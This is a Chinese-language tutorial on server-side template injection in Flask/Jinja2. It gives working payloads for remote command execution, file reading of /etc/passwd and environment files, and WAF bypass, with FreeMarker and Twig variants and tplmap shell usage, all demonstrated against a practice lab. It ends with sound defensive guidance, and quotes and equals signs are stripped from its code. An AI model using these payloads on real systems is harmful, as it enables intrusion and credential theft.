资讯动态

SSTI模板注入实战:从Flask/Jinja2原理到RCE利用与防御

发布时间:2026/9/10 7:37:15 来源:尧图企业网站定制
SSTI模板注入这个话题最近问的人挺多的。正好我在 flask ssti lab 上重新过了一遍完整的攻击链从原理到利用再到防御把踩过的坑和关键细节都整理了出来。如果你正在学 Web 安全或者做开发时想知道模板渲染为什么会变成 RCE 入口这篇文章应该能帮你省下不少时间。1. 整体设计与思路拆解1.1 从一行代码开始的漏洞SSTIServer-Side Template Injection说到底就一句话用户输入被拼进了模板引擎的解析逻辑里。服务端把用户提交的内容当作模板语法去解析攻击者就能通过模板语法访问底层对象甚至执行任意代码。我最早接触 SSTI 是在一次代码审计里当时看到一段 Python Flask 代码from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, world) template fh1Hello, {name}!/h1 return render_template_string(template)这段代码的问题非常典型把用户传入的name参数直接通过 f-string 拼接进模板字符串然后又交给render_template_string()解析。当访问/ ?name{{7*7}}时页面上直接显示49。这里的{{ }}就是 Jinja2 模板语法的表达式块用户输入被当成了模板代码执行。这类问题不是 Python 独有。Java 的 FreeMarker、VelocityPHP 的 Twig、SmartyNode.js 的 Jade/Pug 都有各自的语法块。核心逻辑是相通的模板引擎负责将模板内容解析成 AST再执行输出。任何插入到模板内容中的外来字符串都会被当成模板逻辑处理。1.2 为什么偏偏是 Python/Jinja2 组合出镜率最高在所有模板引擎里Python 的 Jinja2 加 Flask 的组合在 SSTI 相关讨论里出镜率最高。原因很直接Flask 是 Python Web 开发里最常用的微框架而render_template_string()这种直接渲染字符串的 API 用起来太方便了导致很多人图省事就把用户可控内容直接拼进去。还有一个深层原因值得提一下——Jinja2 的沙箱机制本身就不算强。Jinja2 在设计时主要考虑的是过滤掉模板自身的危险属性比如默认禁止访问__class__、__subclasses__这类属性。但这个过滤是在沙箱层做的而在 Python 里绕过沙箱访问对象属性的方法实在太多了。一旦攻击者能找到一条不经过沙箱检查的路径去拿到关键对象整个沙箱就形同虚设。更关键的一点是Python 对象模型本身就是一张巨大的图。任意一个模板变量通过__class__可以拿到类通过__mro__可以拿到继承链通过__subclasses__()可以拿到所有子类再配合__globals__、__init__、__builtins__这些属性理论上可以访问到进程里的任何对象。TCP/IP 网络有个概念叫“跳板机”Python 对象模型就是一张天然的跳板网络SSTI 的利用方式本质上是沿着这个对象图在跳转。1.3 方法论一条从探测到命令执行的完整链路SSTI 的利用不是一个孤立动作而是分阶段的探测和递进。我通常把它拆成五步探测模板引擎类型通过提交不同的模板语法比如${7*7}、{{7*7}}、% 7*7 %判断后端用的是哪家的引擎。确认注入点参数确定哪个参数可被模板解析以及参数会被解析到什么位置变量表达式、逻辑判断、循环体。构造基础探测链用无害的算术表达式确认是否真的存在注入这是整个链路的地基。枚举可利用对象链确定能访问哪些对象能否通过内置对象链拿到危险函数或模块。构造最终利用代码根据对象链走向实现文件读取、命令执行或者反弹连接。这五步虽然说起来简单但每一步都有不少细节。后面我会用 Flask 环境把每一步的具体做法都过一遍包括那些内置对象链的具体构造方法和各阶段的坑。2. 核心细节解析与实操要点2.1 Flask/Jinja2 环境下如何一步步从零开始探测注入用 Flask 起一个简单的测试环境把最开始的漏洞代码原样落地from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, world) template fh1Hello, {name}!/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000, debugTrue)启动服务后首先探测的是表达式是否会被执行。访问/?name{{7*7}}页面返回h1Hello, 49!/h1说明{{ }}内的内容被当成模板表达式执行了。接下来需要确认的是执行能力边界。访问/?name{{7*7}}如果返回7777777说明不仅支持算术运算还支持字符串乘法这是 Jinja2 非常典型的行为特征。再测一个/?name{{config}}如果返回了一长串 Flask 配置对象说明当前模板上下文里能看到 Flask 的全局配置对象这本身就是一个信息泄露点。config里通常包含密钥、数据库连接串、调试开关等敏感信息。这也是为什么有些人做代码审计时只要发现 SSTI 就会直接去看config内容。2.2 关键差异Jinja2 的过滤器链和对象模型真正有利用价值的是 Jinja2 的对象链。先看一个基础链/?name{{.__class__.__mro__}}这里是字符串对象__class__拿到str类__mro__返回这个类的继承链元组。通常会返回(class str, class object)拿到了object就能用__subclasses__()拿到当前进程里所有继承自object的类列表。这个列表在 Python 3 的环境下通常有几百上千个类里面混着各种模块的类包括os、subprocess、warnings.catch_warnings等。这就要提到一个非常核心的利用点了。在 Python 里类可以通过__init__.__globals__访问到定义这个类时的全局命名空间。所以如果某个类的定义所在的模块里import了os那从这个类的__init__.__globals__[os]就能拿到os模块进而调用os.popen(command).read()。经典的利用链长这样{{.__class__.__mro__[1].__subclasses__()}}然后在返回的列表里找一个合适的类。比如warnings.catch_warnings这个类在大多数 Python 进程里都存在而且它的__init__.__globals__里恰好有os模块。利用链如下{{.__class__.__mro__[1].__subclasses__()[index].__init__.__globals__[os].popen(id).read()}}其中的index是warnings.catch_warnings类在__subclasses__()返回列表里的下标这个下标因环境而异需要在实测时枚举确认。注意实际利用时直接跑__subclasses__()返回的内容可能非常长不少环境还会做输出长度限制。拿到完整列表后可以本地写一段脚本根据类名特征去匹配目标类的索引。2.3 过滤器绕过无回显和字符限制场景的特殊处理实战中不一定有回显。有些情况下模板渲染结果不会返回到页面比如把结果写进日志、发到邮件、写入数据库。这时候需要盲注思路用条件判断来逐个字符猜解内容。Jinja2 里可以用条件表达式{{ .__class__.__mro__[1].__subclasses__() | length 500 }}返回True还是False就成了一个布尔盲注点。配合时间盲注{{ lipsum.__globals__[os].popen(sleep 5).read() }}如果页面响应延迟 5 秒说明命令执行成功。另外很多 WAF 会过滤__class__和__subclasses__这些特征字符串。常见的绕过思路是用attr过滤器{{ |attr(__class__)|attr(__mro__)|attr(__getitem__)(1)|attr(__subclasses__)() }}用attr过滤器传字符串形式的属性名可以规避直接写点号访问特征的防护。Jinja2 还支持十六进制字符串形式{{ [\x5f\x5fclass\x5f\x5f] }}\x5f就是下划线_的十六进制表示。对于只做简单字符串匹配的过滤规则这种写法基本都能绕过。如果目标过滤了__globals__这个关键词还可以用request.application.__globals__、self.__init__.__globals__等替代路径。2.4 其他引擎的利用思路差异虽然这篇主要讲 Flask/Jinja2但了解其他引擎的差异对做综合渗透测试很重要。Java 的 FreeMarker 用#assign标签经典利用是#assign ex freemarker.template.utility.Execute?new()${ex(id)}这段代码的含义是通过 FreeMarker 的内置对象构造Execute工具类然后调用系统命令。Java 的 SSTI 利用通常依赖于目标类库中是否有可被反射调用的危险类相比 Python 的链式调用更依赖具体类库版本。PHP 的 Twig 里经典利用是{{[id]|filter(system)}}这段代码把system函数作为回调传给filter过滤器对数组[id]执行过滤实际上就是调用了system(id)。不同引擎的语法不同{{ }}和${ }混用本身就有很强的指纹特征。实际测试时提交多种语法然后观察返回差异就能快速判断底部是哪种引擎。3. 实操过程与核心环节实现3.1 flask ssti lab 靶场搭建与基础探测我在flask ssti lab这个开源靶场上重跑了一遍完整流程。这个靶场是一个专门练习 SSTI 的 Flask 应用内置了多个不同难度等级的题目从最简单的直接注入到复杂的过滤器绕过都有很适合系统练手。搭建方式很简单拉下来后本地启动git clone https://github.com/landgre/ssti-lab.git cd ssti-lab pip install -r requirements.txt python app.py靶场的 Level 1 是直接把用户输入拼进render_template_string对应的参数是name。直接探测GET /level1?name{{7*7}}返回49。再试{{config}}可以看到完整的 Flask 配置被渲染出来了里面包含SECRET_KEY。接下来做对象链枚举。先用GET /level1?name{{.__class__.__mro__}}看到str和object两个类然后GET /level1?name{{.__class__.__mro__[1].__subclasses__()}}返回了几百行的类列表。把响应保存下来用脚本找warnings.catch_warnings的索引。import requests import re r requests.get(http://127.0.0.1:5000/level1, params{name: {{.__class__.__mro__[1].__subclasses__()}}}).text # 从返回中提取每个类的名称 pattern re.compile(rclass ([^])) classes pattern.findall(r) for i, c in enumerate(classes): if catch_warnings in c or warnings in c: print(i, c)我在本地环境找到warnings.catch_warnings的索引是第 166 个不同 Python 版本会有差异所以找出索引后固定到 payload 里就行。3.2 利用链构造RCE确认索引后构造命令执行的 payload{{.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__[os].popen(id).read()}}访问后返回了当前运行用户的 uid 和 gid。到这里SSTI 已经从模板注入升级成了 RCE。如果os不在目标类的__globals__里还可以换一个策略。直接遍历整个__subclasses__()列表找到所有__globals__里有__builtins__的类然后通过__builtins__里的__import__函数动态导入任意模块{{.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__[__builtins__][__import__](os).popen(id).read()}}这句的含义是先拿到__builtins__再调用__import__函数导入os模块最终调用popen执行命令。这比直接找os更通用因为__builtins__在几乎所有 Python 模块里都存在。3.3 文件读取与数据获取拿到 RCE 之后可以做很多事情但实际情况中命令执行往往受限。比如目标环境没有os.popen或者命令执行被禁用。退而求其次的目标是文件读取尤其是读取配置文件和源代码。用 Python 的文件操作完成读取{{.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__[__builtins__].open(/etc/passwd).read()}}这里用open()函数直接读取文件内容。如果目标是 Linux 环境/etc/passwd内容泄露本身就是高危事件。如果有更强的权限目标还会去读/proc/self/environ或者/proc/self/cmdline这些文件经常暴露环境变量和启动命令里面大概率有数据库密码或者内网地址。3.4 实战流程中我在本地完整跑过的 Demo整个流程我在本地跑下来完整的 Demo 记录如下先启动靶场访问 Level 1 页面输入{{7*7}}确认注入点然后确认{{config}}泄露。接着用 Python 脚本枚举__subclasses__()的索引找到warnings.catch_warnings在索引 166 的位置。之后直接带着命令id走整条利用链成功回显 uid0(root)。然后试了whoami、ls -la、cat /etc/passwd都能正常执行。整个过程从探测到拿到 RCE 也就三分钟关键是第一步的注入点确认要准。这些操作必须在你自己搭的靶场或者获得授权的测试环境里做。拿没有授权的目标练手属于违法行为这个边界必须清楚。SSTI 是安全研究的基础课题但既然是研究就要在合规的前提下做。3.5 tplmap 等自动化工具的用法及局限手工构造利用链的过程足够熟练之后可以用工具提效。tplmap是老牌 SSTI 自动化检测与利用工具核心原理就是先探测模板引擎类型再自动枚举对象链并尝试 RCE。基本用法python tplmap.py -u http://127.0.0.1:5000/level1?name**号位置是注入点。工具会自动跑引擎探测、注入点确认、RCE 尝试这几步。--os-shell参数可以尝试直接拿一个 shellpython tplmap.py -u http://127.0.0.1:5000/level1?name* --os-shell但工具不是万能的。实际用下来tplmap 在以下几类场景会失效目标存在 WAF对__class__、__subclasses__等关键字做了过滤工具没有内置足够的绕过 payload注入点在 JSON 字段内部且外层有转义工具的 URL 编码和 JSON 格式没有正确配对模板引擎不是主流的那几种比如自研模板引擎tplmap 识别不了注入点处于无回显状态盲注模式工具虽然支持但效率极低不如手工判断所以我的建议是工具用来做快速验证和初筛真正到利用阶段还是得手工人肉构造。尤其是绕过 WAF 的 payload每个环境都不一样工具很难覆盖到。4. 常见问题与排查技巧实录4.1 基础探测成功但无法执行命令排查思路是什么这是最常遇到的问题{{7*7}}返回了49说明注入点存在但走到 RCE 那一步就失败了。排查时先区分是哪种情况场景一__subclasses__()执行成功但没有找到合适的类这个好办把__subclasses__()的输出保存下来在本地做字符串匹配。如果目标返回内容太长被截断就换用带索引的循环来定位{% for c in .__class__.__mro__[1].__subclasses__() %}{% if catch_warnings in c.__name__ %}{{loop.index0}}{% endif %}{% endfor %}这段代码在模板里遍历所有子类找到名字里包含catch_warnings的类并输出其索引位置。场景二过滤器或转义规则导致 payload 被修改很多框架会对用户输入做 HTML 实体转义。如果注入位置是input value{{name}}这种属性里引号会被拆分payload 直接断裂。应对方式是先闭合外层上下文保证自己的 payload 是独立的模板表达式。场景三目标用到了 Python 的安全沙箱Python 里有沙箱机制会过滤属性访问这时需要先绕过沙箱。绕过思路有几种利用__getattribute__访问属性、通过request对象或g对象里携带的上下文数据作为跳板、使用lipsum、cycler、joiner这些 Jinja2 内置全局函数。比如{{ lipsum.__globals__[os].popen(id).read() }}lipsum是 Jinja2 默认提供的全局函数拿它的__globals__字段可以直接进入全局命名空间。这类对象在模板渲染过程中默认存在于上下文中很多沙箱没把它们加进黑名单列表。4.2 不同 Python 版本下的利用差异Python 版本对 SSTI 利用影响很大这一点容易被忽略。Python 2 下__subclasses__()返回的对象和 Python 3 不同而且 Python 2 的str和unicode类型分离利用链里的对象类型会有差异。更关键的是 Python 2 里没有__builtins__和__builtin__的差异问题导入模块的方式不同。Python 3.8 之后subprocess模块的可利用性反而更高了因为新版本里很多默认类都带上了__init_subclass__等魔法方法。Python 3.11 的沙箱加固让一部分老的 payload 失效了但对__subclasses__()这种枚举方式影响不大只是需要重新枚举索引。实操时最好的方式就是本地用和目标一致或者相近的 Python 版本搭一个同样的 Flask 环境先把利用链在本地跑通再针对目标环境调整索引和路径。本地没跑通的 payload 直接打目标的成功率很低。4.3 遇到 WAF 怎么办编码、过滤器与替代语法WAF 的存在会让 SSTI 从“有没有洞”变成“洞怎么打”。常见的 WAF 策略是拦截关键词比如__class__、popen、os、subprocess。绕过思路按优先级排列用attr过滤器代替直接属性访问这一步大多数时候就能过用十六进制或 Unicode 编码绕过字符串匹配\u005f\u005fclass\u005f\u005f这种编码在 Jinja2 里也能正常解析用拼接绕过关键词限制__clas~s__在 Jinja2 里用~拼接字符串替换高危函数popen被过滤就改用subprocess.Popen、os.system、os.popen换着来换一个对象链入口config、request、g、url_for、get_flashed_messages这些 Jinja2 自带或 Flask 注入到模板上下文里的对象都可以作为起点例如利用config对象{{ config.__class__.__init__.__globals__[os].popen(id).read() }}这类 payload 的特征和.__class__开头的链路差异很大WAF 的规则库如果只覆盖了高频特征串这种链路反而更容易存活。4.4 高亮提醒哪些地方容易被忽略导致前功尽弃做 SSTI 时踩过的最多的坑其实不是技术难关而是这些细节转义问题。如果目标环境开启了自动转义Flask 默认开启提交的 payload 里如果有和会被转义成lt;和gt;模板不会被解析。测试时要观察返回头里的Content-Type和返回中的转义情况必要时先闭合外层标签再注入。注入点位置。同样是name参数如果拼接进的是href...属性位置payload 可能需要先闭合引号。如果拼接进的是{% if %}判断块里面那表达式语法可能不能用要改用分支语法来触发执行。输出长度限制。部分环境有回显长度限制几行就截断。可以分多次执行命令用cut或head控制输出长度或者用find和grep定位关键信息。超时问题。时间盲注时如果注入点本身有超时限制sleep的时间设置要控制好太长了直接断开连接太短了判断不了。4.5 常见问题速查表问题现象可能原因排查方法解决方案{{7*7}}返回原样目标没用模板引擎解析该字段尝试${7*7}、% 7*7 %等不同语法确认引擎类型后换语法表达式执行但拿不到__class__沙箱过滤了魔法属性尝试attr过滤器、编码绕过使用 __subclasses__()返回空Python 版本或沙箱限制了换用lipsum、cycler等全局函数跳板从lipsum.__globals__拿__builtins__命令执行但无回显输出被截断或渲染到别处用curl外带数据或走盲注时间盲注 / DNS 外带WAF 拦截 payload特征关键词命中规则观察拦截返回的告警信息编码、拼接、换入口5. 防御视角如何从根上堵住这个洞5.1 代码层面的硬性规范SSTI 的防御最好的一招就是在代码层面彻底消灭“用户可控字符串进入模板解析”这个路径。最推荐的做法是不要使用render_template_string渲染任何包含用户输入的内容。如果确实需要渲染字符串模板将用户输入作为变量传入模板上下文而不是拼接进模板字符串。错误做法template fh1Hello, {name}!/h1 return render_template_string(template)正确做法return render_template_string(h1Hello, {{ name }}!/h1, namename)这行代码的区别是本质的前者把name的内容当作模板代码后者把name当作普通变量值模板引擎不会对变量内容做二次解析。如果你需要处理的内容来自用户输入那么就把它当作变量传进去永远不要拼模板。5.2 模板引擎的沙箱强化如果业务确实需要用户提交部分模板内容比如 CMS 里的模板编辑功能那么必须做沙箱强化。Jinja2 提供了SandboxedEnvironmentfrom jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment() template env.from_string(user_template) result template.render()SandboxedEnvironment默认拦截了对__class__、__subclasses__等属性/方法的访问。但正如前面说的这个沙箱不是绝对安全的绕过案例也公开过不少所以沙箱只是缓解手段不能作为唯一防线。更彻底的做法是把模板编辑权限局限于可信用户同时对模板内容做静态扫描把包含__、popen、os、subprocess等危险特征的模板直接拦截。5.3 运行时防护与监控防御不能只停留在代码层面。我在实际项目里还会在运行时和监控层面做这些事出入参过滤对所有渲染接口的入参做类型校验和长度限制尤其是字符串类参数超长和特殊字符直接拒绝WAF 规则拦截包含{{、{%、${等模板语法的请求参数以及包含__class__、__subclasses__、popen等特征的 payload输出检测在响应出口检测模板渲染后的内容是否包含异常的命令执行结果比如uid这种特征审计日志记录所有模板渲染请求的完整参数和输出摘要方便事后溯源SSTI 之所以危险是因为它通常直接从漏洞变成 RCE中间几乎没有缓冲。所以防御上不能等攻击者打到 RCE 才发现而是在渲染入口就要挡住可疑内容。再次强调以上所有攻击路径和 payload 都必须在本地靶场或获得授权的环境中使用。安全研究的前提是合法合规这一点任何时候都不能含糊。从我实际做过的项目来看SSTI 是一个“看起来简单、利用起来很讲究”的漏洞类型。花一晚上把 flask ssti lab 从头到尾打通你对模板引擎的工作机制、Python 对象模型、沙箱绕过思路的理解都会上一个台阶。等这份手感建立了再去读其他语言模板引擎的漏洞利用会发现思路是相通的——无非就是找对象、找引用、找可调用的函数。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价